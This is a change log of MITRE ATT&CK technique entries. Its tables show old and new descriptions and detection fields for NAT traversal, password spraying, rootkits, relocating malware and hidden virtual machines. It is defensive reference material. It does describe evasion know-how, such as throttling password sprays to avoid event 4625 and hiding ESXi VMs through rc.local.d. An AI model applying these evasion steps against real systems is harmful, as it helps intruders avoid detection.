| > | s that traverse a network boundary device can make monitorin | > | ing data transmissions more challenging for defenders. Ad | ||
| > | g data transmissions more challenging for defenders. Adve | > | versaries may use [Patch System Image](https://attack.mitre. | ||
| > | rsaries may use [Patch System Image](https://attack.mitre.or | > | org/techniques/T1601/001) to change the operating system of | ||
| > | g/techniques/T1601/001) to change the operating system of a | > | a network device, implementing their own custom NAT mechanis | ||
| > | network device, implementing their own custom NAT mechanisms | > | ms to further obscure their activities. | ||
| > | to further obscure their activities | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:46:38.101000+00:00 | 2025-10-24 17:48:46.071000+00:00 |
| description | Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. + +Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918) + +When an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. + +Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities | Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. + +Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918) + +When an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities. In network designs that require NAT to function, such modifications enable the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In network designs that do not require NAT, adversaries may use address translation to further obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. + +Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Consider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary. + +Monitor the border network device’s configuration to determine if any unintended NAT rules have been added without authorization. | |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may compromise third-party network devices that | t | 1 | Adversaries may compromise third-party network devices that |
| > | can be used during targeting. Network devices, such as small | > | can be used during targeting. Network devices, such as small | ||
| > | office/home office (SOHO) routers, may be compromised where | > | office/home office (SOHO) routers, may be compromised where | ||
| > | the adversary's ultimate goal is not [Initial Access](https | > | the adversary's ultimate goal is not [Initial Access](https | ||
| > | ://attack.mitre.org/tactics/TA0001) to that environment -- i | > | ://attack.mitre.org/tactics/TA0001) to that environment, but | ||
| > | nstead leveraging these devices to support additional target | > | rather to leverage these devices to support additional targ | ||
| > | ing. Once an adversary has control, compromised network dev | > | eting. Once an adversary has control, compromised network d | ||
| > | ices can be used to launch additional operations, such as ho | > | evices can be used to launch additional operations, such as | ||
| > | sting payloads for [Phishing](https://attack.mitre.org/techn | > | hosting payloads for [Phishing](https://attack.mitre.org/tec | ||
| > | iques/T1566) campaigns (i.e., [Link Target](https://attack.m | > | hniques/T1566) campaigns (i.e., [Link Target](https://attack | ||
| > | itre.org/techniques/T1608/005)) or enabling the required acc | > | .mitre.org/techniques/T1608/005)) or enabling the required a | ||
| > | ess to execute [Content Injection](https://attack.mitre.org/ | > | ccess to execute [Content Injection](https://attack.mitre.or | ||
| > | techniques/T1659) operations. Adversaries may also be able t | > | g/techniques/T1659) operations. Adversaries may also be able | ||
| > | o harvest reusable credentials (i.e., [Valid Accounts](https | > | to harvest reusable credentials (i.e., [Valid Accounts](htt | ||
| > | ://attack.mitre.org/techniques/T1078)) from compromised netw | > | ps://attack.mitre.org/techniques/T1078)) from compromised ne | ||
| > | ork devices. Adversaries often target Internet-facing edge | > | twork devices. Adversaries often target Internet-facing edg | ||
| > | devices and related network appliances that specifically do | > | e devices and related network appliances that specifically d | ||
| > | not support robust host-based defenses.(Citation: Mandiant F | > | o not support robust host-based defenses.(Citation: Mandiant | ||
| > | ortinet Zero Day)(Citation: Wired Russia Cyberwar) Compromi | > | Fortinet Zero Day)(Citation: Wired Russia Cyberwar) Compro | ||
| > | sed network devices may be used to support subsequent [Comma | > | mised network devices may be used to support subsequent [Com | ||
| > | nd and Control](https://attack.mitre.org/tactics/TA0011) act | > | mand and Control](https://attack.mitre.org/tactics/TA0011) a | ||
| > | ivity, such as [Hide Infrastructure](https://attack.mitre.or | > | ctivity, such as [Hide Infrastructure](https://attack.mitre. | ||
| > | g/techniques/T1665) through an established [Proxy](https://a | > | org/techniques/T1665) through an established [Proxy](https:/ | ||
| > | ttack.mitre.org/techniques/T1090) and/or [Botnet](https://at | > | /attack.mitre.org/techniques/T1090) and/or [Botnet](https:// | ||
| > | tack.mitre.org/techniques/T1584/005) network.(Citation: Just | > | attack.mitre.org/techniques/T1584/005) network.(Citation: Ju | ||
| > | ice GRU 2024) | > | stice GRU 2024) | ||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:51:26.650000+00:00 | 2025-10-22 03:56:34.319000+00:00 |
| description | Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment -- instead leveraging these devices to support additional targeting. + +Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices. + +Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar) + +Compromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024) | Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment, but rather to leverage these devices to support additional targeting. + +Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices. + +Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar) + +Compromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.3
Version changed from: 1.2 → 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:58.463000+00:00 | 2025-10-24 17:49:14.187000+00:00 |
| x_mitre_detection | Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) | |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.8
Version changed from: 1.7 → 1.8
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use a single or small list of commonly used | t | 1 | Adversaries may use a single or small list of commonly used |
| > | passwords against many different accounts to attempt to acqu | > | passwords against many different accounts to attempt to acqu | ||
| > | ire valid account credentials. Password spraying uses one pa | > | ire valid account credentials. Password spraying uses one pa | ||
| > | ssword (e.g. 'Password01'), or a small list of commonly used | > | ssword (e.g. 'Password01'), or a small list of commonly used | ||
| > | passwords, that may match the complexity policy of the doma | > | passwords, that may match the complexity policy of the doma | ||
| > | in. Logins are attempted with that password against many dif | > | in. Logins are attempted with that password against many dif | ||
| > | ferent accounts on a network to avoid account lockouts that | > | ferent accounts on a network to avoid account lockouts that | ||
| > | would normally occur when brute forcing a single account wit | > | would normally occur when brute forcing a single account wit | ||
| > | h many passwords. (Citation: BlackHillsInfosec Password Spra | > | h many passwords. (Citation: BlackHillsInfosec Password Spra | ||
| > | ying) Typically, management services over commonly used por | > | ying) Typically, management services over commonly used por | ||
| > | ts are used when password spraying. Commonly targeted servic | > | ts are used when password spraying. Commonly targeted servic | ||
| > | es include the following: * SSH (22/TCP) * Telnet (23/TCP) | > | es include the following: * SSH (22/TCP) * Telnet (23/TCP) | ||
| > | * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * | > | * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * | ||
| > | LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Service | > | LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Service | ||
| > | s (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/T | > | s (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/T | ||
| > | CP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP | > | CP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP | ||
| > | ) * VNC (5900/TCP) In addition to management services, adve | > | ) * VNC (5900/TCP) In addition to management services, adve | ||
| > | rsaries may "target single sign-on (SSO) and cloud-based app | > | rsaries may "target single sign-on (SSO) and cloud-based app | ||
| > | lications utilizing federated authentication protocols," as | > | lications utilizing federated authentication protocols," as | ||
| > | well as externally facing email applications, such as Office | > | well as externally facing email applications, such as Office | ||
| > | 365.(Citation: US-CERT TA18-068A 2018) In default environm | > | 365.(Citation: US-CERT TA18-068A 2018) In order to avoid d | ||
| > | ents, LDAP and Kerberos connection attempts are less likely | > | etection thresholds, adversaries may deliberately throttle p | ||
| > | to trigger events over SMB, which creates Windows "logon fai | > | assword spraying attempts to avoid triggering security alert | ||
| > | lure" event ID 4625. | > | ing. Additionally, adversaries may leverage LDAP and Kerbero | ||
| > | s authentication attempts, which are less likely to trigger | ||||
| > | high-visibility events such as Windows "logon failure" event | ||||
| > | ID 4625 that is commonly triggered by failed SMB connection | ||||
| > | attempts.(Citation: Microsoft Storm-0940) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['User Account: User Account Authentication', 'Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:38.420000+00:00 | 2025-10-24 17:48:53.996000+00:00 |
| description | Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) + +Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following: + +* SSH (22/TCP) +* Telnet (23/TCP) +* FTP (21/TCP) +* NetBIOS / SMB / Samba (139/TCP & 445/TCP) +* LDAP (389/TCP) +* Kerberos (88/TCP) +* RDP / Terminal Services (3389/TCP) +* HTTP/HTTP Management Services (80/TCP & 443/TCP) +* MSSQL (1433/TCP) +* Oracle (1521/TCP) +* MySQL (3306/TCP) +* VNC (5900/TCP) + +In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) + +In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625. | Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) + +Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following: + +* SSH (22/TCP) +* Telnet (23/TCP) +* FTP (21/TCP) +* NetBIOS / SMB / Samba (139/TCP & 445/TCP) +* LDAP (389/TCP) +* Kerberos (88/TCP) +* RDP / Terminal Services (3389/TCP) +* HTTP/HTTP Management Services (80/TCP & 443/TCP) +* MSSQL (1433/TCP) +* Oracle (1521/TCP) +* MySQL (3306/TCP) +* VNC (5900/TCP) + +In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) + +In order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows "logon failure" event ID 4625 that is commonly triggered by failed SMB connection attempts.(Citation: Microsoft Storm-0940) |
| x_mitre_detection | Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. + +Consider the following event IDs:(Citation: Trimarc Detecting Password Spraying) + +* Domain Controllers: "Audit Logon" (Success & Failure) for event ID 4625. +* Domain Controllers: "Audit Kerberos Authentication Service" (Success & Failure) for event ID 4771. +* All systems: "Audit Logon" (Success & Failure) for event ID 4648. | |
| x_mitre_version | 1.7 | 1.8 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Storm-0940', 'description': 'Microsoft Threat Intelligence. (2024, October 31). Chinese threat actor Storm-0940 uses credentials from password spray attacks from a covert network. Retrieved June 4, 2025.', 'url': 'https://www.microsoft.com/en-us/security/blog/2024/10/31/chinese-threat-actor-storm-0940-uses-credentials-from-password-spray-attacks-from-a-covert-network/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Once a payload is delivered, adversaries may reproduce copie | t | 1 | Once a payload is delivered, adversaries may reproduce copie |
| > | s of the same malware on the victim system to remove evidenc | > | s of the same malware on the victim system to remove evidenc | ||
| > | e of their presence and/or avoid defenses. Copying malware p | > | e of their presence and/or avoid defenses. Copying malware p | ||
| > | ayloads to new locations may also be combined with [File Del | > | ayloads to new locations may also be combined with [File Del | ||
| > | etion](https://attack.mitre.org/techniques/T1070/004) to cle | > | etion](https://attack.mitre.org/techniques/T1070/004) to cle | ||
| > | anup older artifacts. Relocating malware may be a part of m | > | anup older artifacts. Relocating malware may be a part of m | ||
| > | any actions intended to evade defenses. For example, adversa | > | any actions intended to evade defenses. For example, adversa | ||
| > | ries may copy and rename payloads to better blend into the l | > | ries may copy and rename payloads to better blend into the l | ||
| > | ocal environment (i.e., [Match Legitimate Resource Name or L | > | ocal environment (i.e., [Match Legitimate Resource Name or L | ||
| > | ocation](https://attack.mitre.org/techniques/T1036/005)).(Ci | > | ocation](https://attack.mitre.org/techniques/T1036/005)).(Ci | ||
| > | tation: DFIR Report Trickbot June 2023) Payloads may also be | > | tation: DFIR Report Trickbot June 2023) Payloads may also be | ||
| > | repositioned to target [File/Path Exclusions](https://attac | > | repositioned to target [File/Path Exclusions](https://attac | ||
| > | k.mitre.org/techniques/T1564/012) as well as specific locati | > | k.mitre.org/techniques/T1564/012) as well as specific locati | ||
| > | ons associated with establishing [Persistence](https://attac | > | ons associated with establishing [Persistence](https://attac | ||
| > | k.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024) | > | k.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024) | ||
| > | Relocating malicious payloads may also hinder defensive an | > | Relocating malicious payloads may also hinder defensive an | ||
| > | alysis, especially to separate these payloads from earlier e | > | alysis, especially to separate these payloads from earlier e | ||
| > | vents (such as [User Execution](https://attack.mitre.org/tec | > | vents (such as [User Execution](https://attack.mitre.org/tec | ||
| > | hniques/T1204) and [Phishing](https://attack.mitre.org/techn | > | hniques/T1204) and [Phishing](https://attack.mitre.org/techn | ||
| > | iques/T1566)) that may have generated alerts or otherwise dr | > | iques/T1566)) that may have generated alerts or otherwise dr | ||
| > | awn attention from defenders. | > | awn attention from defenders. Moving payloads into target di | ||
| > | rectories does not alter the Creation timestamp, thereby eva | ||||
| > | ding detection logic reliant on modifications to this artifa | ||||
| > | ct (i.e., [Timestomp](https://attack.mitre.org/techniques/T1 | ||||
| > | 070/006)). | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:08.329000+00:00 | 2025-10-05 16:08:40.119000+00:00 |
| description | Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup older artifacts. + +Relocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: DFIR Report Trickbot June 2023) Payloads may also be repositioned to target [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012) as well as specific locations associated with establishing [Persistence](https://attack.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024) + +Relocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204) and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated alerts or otherwise drawn attention from defenders. | Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup older artifacts. + +Relocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: DFIR Report Trickbot June 2023) Payloads may also be repositioned to target [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012) as well as specific locations associated with establishing [Persistence](https://attack.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024) + +Relocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204) and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated alerts or otherwise drawn attention from defenders. Moving payloads into target directories does not alter the Creation timestamp, thereby evading detection logic reliant on modifications to this artifact (i.e., [Timestomp](https://attack.mitre.org/techniques/T1070/006)). |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Gregory Frey |
Current version: 1.4
Version changed from: 1.3 → 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Logon Session: Logon Session Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:18.689000+00:00 | 2025-10-24 17:49:33.524000+00:00 |
| x_mitre_detection | Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. | |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.3
Version changed from: 1.2 → 1.3
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use rootkits to hide the presence of program | t | 1 | Adversaries may use rootkits to hide the presence of program |
| > | s, files, network connections, services, drivers, and other | > | s, files, network connections, services, drivers, and other | ||
| > | system components. Rootkits are programs that hide the exist | > | system components. Rootkits are programs that hide the exist | ||
| > | ence of malware by intercepting/hooking and modifying operat | > | ence of malware by intercepting/hooking and modifying operat | ||
| > | ing system API calls that supply system information. (Citati | > | ing system API calls that supply system information. (Citati | ||
| > | on: Symantec Windows Rootkits) Rootkits or rootkit enablin | > | on: Symantec Windows Rootkits) Rootkits or rootkit enablin | ||
| > | g functionality may reside at the user or kernel level in th | > | g functionality may reside at the user or kernel level in th | ||
| > | e operating system or lower, to include a hypervisor, Master | > | e operating system or lower, to include a hypervisor or [Sys | ||
| > | Boot Record, or [System Firmware](https://attack.mitre.org/ | > | tem Firmware](https://attack.mitre.org/techniques/T1542/001) | ||
| > | techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkit | > | . (Citation: Wikipedia Rootkit) Rootkits have been seen for | ||
| > | s have been seen for Windows, Linux, and Mac OS X systems. ( | > | Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike | ||
| > | Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac | > | Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) Rootki | ||
| > | OSX Rootkit) | > | ts that reside or modify boot sectors are known as [Bootkit] | ||
| > | (https://attack.mitre.org/techniques/T1542/003)s and specifi | ||||
| > | cally target the boot process of the operating system. | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Menachem Goldstein'] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Drive: Drive Modification', 'Firmware: Firmware Modification', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:15.308000+00:00 | 2025-10-24 17:48:24.032000+00:00 |
| description | Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) + +Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) | Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) + +Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) + +Rootkits that reside or modify boot sectors are known as [Bootkit](https://attack.mitre.org/techniques/T1542/003)s and specifically target the boot process of the operating system. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit) | |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.3
Version changed from: 1.2 → 1.3
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may carry out malicious operations using a virtu | t | 1 | Adversaries may carry out malicious operations using a virtu |
| > | al instance to avoid detection. A wide variety of virtualiza | > | al instance to avoid detection. A wide variety of virtualiza | ||
| > | tion technologies exist that allow for the emulation of a co | > | tion technologies exist that allow for the emulation of a co | ||
| > | mputer or computing environment. By running malicious code i | > | mputer or computing environment. By running malicious code i | ||
| > | nside of a virtual instance, adversaries can hide artifacts | > | nside of a virtual instance, adversaries can hide artifacts | ||
| > | associated with their behavior from security tools that are | > | associated with their behavior from security tools that are | ||
| > | unable to monitor activity inside the virtual instance.(Cita | > | unable to monitor activity inside the virtual instance.(Cita | ||
| > | tion: CyberCX Akira Ransomware) Additionally, depending on t | > | tion: CyberCX Akira Ransomware) Additionally, depending on t | ||
| > | he virtual networking implementation (ex: bridged adapter), | > | he virtual networking implementation (ex: bridged adapter), | ||
| > | network traffic generated by the virtual instance can be dif | > | network traffic generated by the virtual instance can be dif | ||
| > | ficult to trace back to the compromised host as the IP addre | > | ficult to trace back to the compromised host as the IP addre | ||
| > | ss and hostname might not match known values.(Citation: Sing | > | ss and hostname might not match known values.(Citation: Sing | ||
| > | Health Breach Jan 2019) Adversaries may utilize native supp | > | Health Breach Jan 2019) Adversaries may utilize native supp | ||
| > | ort for virtualization (ex: Hyper-V) or drop the necessary f | > | ort for virtualization (ex: Hyper-V), deploy lightweight emu | ||
| > | iles to run a virtual instance (ex: VirtualBox binaries). Af | > | lators (ex: QEMU), or drop the necessary files to run a virt | ||
| > | ter running a virtual instance, adversaries may create a sha | > | ual instance (ex: VirtualBox binaries).(Citation: Securonix | ||
| > | red folder between the guest and host with permissions that | > | CronTrap 2024) After running a virtual instance, adversaries | ||
| > | enable the virtual instance to interact with the host file s | > | may create a shared folder between the guest and host with | ||
| > | ystem.(Citation: Sophos Ragnar May 2020) In VMWare environm | > | permissions that enable the virtual instance to interact wit | ||
| > | ents, adversaries may leverage the vCenter console to create | > | h the host file system.(Citation: Sophos Ragnar May 2020) T | ||
| > | new virtual machines. However, they may also create virtual | > | hreat actors may also leverage temporary virtualized environ | ||
| > | machines directly on ESXi servers by running a valid `.vmx` | > | ments such as the Windows Sandbox, which supports the use of | ||
| > | file with the `/bin/vmx` utility. Adding this command to `/ | > | `.wsb` configuration files for defining execution parameter | ||
| > | etc/rc.local.d/local.sh` (i.e., [RC Scripts](https://attack. | > | s. For example, the `<MappedFolder>` property supports the c | ||
| > | mitre.org/techniques/T1037/004)) will cause the VM to persis | > | reation of a shared folder, while the `<LogonCommand>` prope | ||
| > | tently restart.(Citation: vNinja Rogue VMs 2024) Creating a | > | rty allows the specification of a payload.(Citation: ESET Mi | ||
| > | VM this way prevents it from appearing in the vCenter consol | > | rrorFace 2025) In VMWare environments, adversaries may leve | ||
| > | e or in the output to the `vim-cmd vmsvc/getallvms` command | > | rage the vCenter console to create new virtual machines. How | ||
| > | on the ESXi server, thereby hiding it from typical administr | > | ever, they may also create virtual machines directly on ESXi | ||
| > | ative activities.(Citation: MITRE VMware Abuse 2024) | > | servers by running a valid `.vmx` file with the `/bin/vmx` | ||
| > | utility. Adding this command to `/etc/rc.local.d/local.sh` ( | ||||
| > | i.e., [RC Scripts](https://attack.mitre.org/techniques/T1037 | ||||
| > | /004)) will cause the VM to persistently restart.(Citation: | ||||
| > | vNinja Rogue VMs 2024) Creating a VM this way prevents it fr | ||||
| > | om appearing in the vCenter console or in the output to the | ||||
| > | `vim-cmd vmsvc/getallvms` command on the ESXi server, thereb | ||||
| > | y hiding it from typical administrative activities.(Citation | ||||
| > | : MITRE VMware Abuse 2024) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Modification', 'Image: Image Metadata', 'Service: Service Creation', 'Process: Process Creation', 'File: File Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:59.831000+00:00 | 2025-10-24 17:49:15.607000+00:00 |
